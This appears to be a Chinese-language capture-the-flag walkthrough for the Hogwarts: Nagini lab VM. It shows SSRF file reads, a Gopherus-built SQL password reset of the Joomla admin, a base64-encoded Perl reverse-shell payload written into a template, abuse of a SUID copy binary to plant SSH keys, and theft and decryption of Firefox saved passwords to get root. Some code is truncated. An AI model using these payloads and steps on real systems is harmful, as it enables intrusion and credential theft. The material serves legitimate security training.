Hogwarts Nagini
HarryPotter:Nagini
一、基本信息
名称:Hogwarts: Nagini
发布日期:2021.4.29
作者:Mansoor R
系列:Hogwarts
推特:@time4ster
二、靶机简介
Flags:
www-data:/var/www/html/horcrux1.txt
hermoine:/root/horcrux2.txt
root:/root/horcrux3.txt难度:困难
三、文件信息
文件名:Nagini.ova
文件大小:741MB
下载地址:
MD5: B6C8F47BFB2421D1F12B6C1A2C095088
SHA1: 5CF128C51A445434E216A8C5F4087D9ECFB96739
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机Nagini和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现只开放了22和80端口,访问首页只有一张图片:
1 nmap -sC -A -p- 192.168.56.105,端口扫描3.最后再进行一下目录扫描,发现一个note.txt,可以去看看:
1 gobuster dir -u http://192.168.56.105 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt,目录扫描
SSRF漏洞利用
1.直接访问192.168.56.105/note.txt,发现页面提示要使用http3,需要使用curl配置http3,把quic.nagini.hogwarts加入host,利用curl获取网页内容(curl配置http3见:https://github.com/curl/curl/blob/master/docs/HTTP3.md,配置好后无法链接可以将kali的网络配置暂时换为NAT):
2.在用http3协议访问之后,我们根据提示可以去看internalResourceFeTcher.php这个文件,发现是一个可以利用的SSRF:
1 curl 'http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=file:///etc/passwd',可以获取/etc/passwd目录下的内容
数据库修改登录
1.我们可以利用cms的特性扫描joomla数据库所在目录,可以发现配置文件configuration.php,而这个配置文件告知了我们joomla库下一个无密码用户goblin:
1 curl 'http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=file:///var/www/html/joomla/configuration.php'2.接下来我们要使用Gopherus这个工具生成payload,进行sql注入类的操作,需要使用pip2:
1
2
3 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 -V3.将Gopherus生成的payload拼接到http://192.168.56.105/internalResourceFeTcher.php?url=后面,我们已经知道goblin是无密码用户,则我们可使用update命令把新密码加给新加入的用户:
1
2
3 USE joomla;
UPDATE joomla_users SET password=‘5f4dcc3b5aa765d61d8327deb882cf99’
WHERE email=‘site_admin@nagini.hogwarts’;4.现在可以使用site_admin用户,密码password登录/joomla/administrator:
后台写入脚本,getshell
1.在后台Extensions栏Templates页,选择Protostar,选择newfile,创建一个php文件,php反弹代码如下:
php```
'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); ?>
1 | > |
nc -lvnp 1234
python3 -c “import pty;pty.spawn(‘/bin/bash’)”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 ![image-](18.png)
### SSH登录,准备提权
1.首先在/var/www/html目录下有第一个flag,即horcrux1.txt,进行base64解密:
![image-](19.png)
2.然后在/home/hermoine目录下有第二个flag,即horcrux2.txt,但我们没有权限查看:
![image-](20.png)
![image-](21.png)
3.继续查看/home/snape目录,此目录下有一个.creds.txt文件,有一段base64编码,很可能就是snape用户ssh登录的密码:
![image-](22.png)
![image-](23.png)
4.登录snape后,我们可以将我们kali的ssh-keygen复制到snape的/home/hermoine目录下,并命名为authorized_keys,赋予权限,利用本就在hermoine目录下的su_cp执行,从而在kali上可以不使用密码ssh登录hermoine:find / -perm -u=s 2>/dev/null
1 ![image-](24.png)Kali:
ssh-keygen
cat ~/.ssh/id_rsa.pubsnape:
vim /home/snape/authorized_keys
chmod 640 authorized_keys
1 ![image-](25.png)cd /home/hermoine/bin
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
1 ![image-](26.png)Kali:
ssh hermoine@192.168.56.105 -i .ssh/id_rsa
1
2
3
4
5
6
5.这个时候我们就可以去/root目录下查看horcrux2.txt这个文件,同样是用base64解密:
![image-](27.png)
### root提权
1.我们可以在.mozilla/firefox/g2mhbq0o.default/目录下发现浏览器的登录信息,则考虑使用读取浏览器用户名和密码的工具firepwd,在hermoine开启一个http服务,传输要解密的文件给kali,可以爆出root的密码:hermoine:
cd .mozilla/firefox/g2mhbq0o.default/
ls -al
1 ![image-](28.png)python3 -m http.server 9000
Kali:
unzip firepwd-master.zip,把firepwd下载到kali解压
cd firepwd-master
sudo pip install -r requirements.txt
pip3 install pycrypto
pip3 install pycryptodome
mkdir creds
cd creds
cp ~/Desktop/firepwd-master/firepwd.py ~/Desktop/firepwd-master/creds
wget http://192.168.56.105:9000//logins.json
wget http://192.168.56.105:9000//key4.db
python3 firepwd.py
```
2.进行root登录,在/home目录下能找到最后一个flag,即horcrux3.txt: